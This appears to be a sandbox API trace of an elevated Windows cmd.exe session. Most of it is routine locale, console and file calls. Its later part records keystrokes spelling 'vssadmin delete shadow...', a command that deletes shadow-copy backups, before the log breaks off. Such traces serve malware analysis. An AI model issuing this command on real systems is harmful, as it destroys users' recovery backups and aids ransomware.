4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7ab03ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7ab03ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7ab03b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7ab03b980, cchData=32 | out: lpLCData="Sun") returned 4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7ab03bb58, cchData=8 | out: lpLCData=".") returned 2 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7ab03bb40, cchData=8 | out: lpLCData=",") returned 2 [0091.568] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0091.570] GetProcessHeap () returned 0x2879df70000 [0091.570] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x0, Size=0x20c) returned 0x2879df76560 [0091.570] GetConsoleTitleW (in: lpConsoleTitle=0x2879df76560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0092.826] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.826] GetFileType (hFile=0x280) returned 0x3 [0092.826] ApiSetQueryApiSetPresence () returned 0x0 [0092.826] ResolveDelayLoadedAPI () returned 0x7ffcdeb7d990 [0092.838] BrandingFormatString () returned 0x2879df76a50 [0092.846] GetVersion () returned 0x3ad7000a [0092.846] _vsnwprintf (in: _Buffer=0xfd951ef9a0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xfd951ef938 | out: _Buffer="10.0.15063") returned 10 [0092.846] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.846] GetFileType (hFile=0x280) returned 0x3 [0092.846] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ab047f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0092.847] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ab047f60, nSize=0x2000, Arguments=0xfd951ef940 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0092.847] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0092.847] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xfd951ef898, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef898*=0x26, lpOverlapped=0x0) returned 1 [0092.847] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xfd951ef968 | out: _Buffer="\r\n") returned 2 [0092.847] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.847] GetFileType (hFile=0x280) returned 0x3 [0092.847] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0092.847] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xfd951ef938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef938*=0x2, lpOverlapped=0x0) returned 1 [0092.848] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xfd951ef968 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0092.848] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.848] GetFileType (hFile=0x280) returned 0x3 [0092.848] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0092.848] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xfd951ef938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef938*=0x34, lpOverlapped=0x0) returned 1 [0092.848] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xfd951ef968 | out: _Buffer="\r\n") returned 2 [0092.848] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.848] GetFileType (hFile=0x280) returned 0x3 [0092.848] _get_osfhandle (_FileHandle=1) returned 0x280 [0092.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0092.848] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xfd951ef938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef938*=0x2, lpOverlapped=0x0) returned 1 [0092.849] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0092.849] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830 [0092.849] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300 [0092.849] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40 [0092.849] ??_V@YAXPEAX@Z () returned 0x1 [0092.849] _get_osfhandle (_FileHandle=0) returned 0x274 [0092.849] GetFileType (hFile=0x274) returned 0x3 [0092.849] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0092.850] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xfd951ef7a8 | out: TokenHandle=0xfd951ef7a8*=0x0) returned 0xc000007c [0092.850] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xfd951ef7a8 | out: TokenHandle=0xfd951ef7a8*=0x98) returned 0x0 [0092.850] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0xfd951ef758, TokenInformationLength=0x4, ReturnLength=0xfd951ef760 | out: TokenInformation=0xfd951ef758, ReturnLength=0xfd951ef760) returned 0x0 [0092.850] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0xfd951ef760, TokenInformationLength=0x4, ReturnLength=0xfd951ef758 | out: TokenInformation=0xfd951ef760, ReturnLength=0xfd951ef758) returned 0x0 [0092.850] NtClose (Handle=0x98) returned 0x0 [0092.850] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xfd951ef770, nSize=0x0, Arguments=0xfd951ef778 | out: lpBuffer="᧰鷷ʇ") returned 0xf [0092.851] GetProcessHeap () returned 0x2879df70000 [0092.851] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x218) returned 0x2879df76c30 [0092.873] GetConsoleTitleW (in: lpConsoleTitle=0xfd951ef7c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0093.410] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0093.410] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0094.218] GetProcessHeap () returned 0x2879df70000 [0094.218] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df76c30) returned 1 [0094.218] LocalFree (hMem=0x2879df719f0) returned 0x0 [0094.654] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xfd951ef5e8 | out: _Buffer="\r\n") returned 2 [0094.654] _get_osfhandle (_FileHandle=1) returned 0x280 [0094.654] GetFileType (hFile=0x280) returned 0x3 [0094.655] _get_osfhandle (_FileHandle=1) returned 0x280 [0094.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0094.655] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xfd951ef5b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef5b8*=0x2, lpOverlapped=0x0) returned 1 [0094.655] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0094.655] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2879e140080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0094.655] malloc (_Size=0x107ce) returned 0x2879e150060 [0094.656] _vsnwprintf (in: _Buffer=0x2879e150060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xfd951ef5f8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0094.656] _vsnwprintf (in: _Buffer=0x2879e15008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xfd951ef5f8 | out: _Buffer=">") returned 1 [0094.656] _get_osfhandle (_FileHandle=1) returned 0x280 [0094.656] GetFileType (hFile=0x280) returned 0x3 [0094.656] _get_osfhandle (_FileHandle=1) returned 0x280 [0094.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0094.656] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xfd951ef5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef5e8*=0x18, lpOverlapped=0x0) returned 1 [0094.656] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.656] GetFileType (hFile=0x274) returned 0x3 [0094.656] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.656] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.657] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0094.657] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.657] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.657] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0094.657] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.657] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.657] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0094.657] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.657] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.657] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0094.658] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.658] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.658] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0094.658] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.658] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.658] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0094.658] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.658] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.658] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0094.658] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.658] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.658] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0094.659] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.659] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.659] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0094.659] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.659] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.659] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0094.659] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.659] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.659] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0094.659] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.659] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.660] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0094.660] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.660] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.660] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0094.660] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.660] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.660] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0094.660] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.660] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.660] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0094.660] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.661] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.661] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0094.661] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.661] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.661] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0094.661] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.661] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.661] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0094.661] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.661] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.661] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0094.662] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.662] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.662] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0094.662] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.662] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.662] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0094.662] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.662] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.662] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0094.662] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.662] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 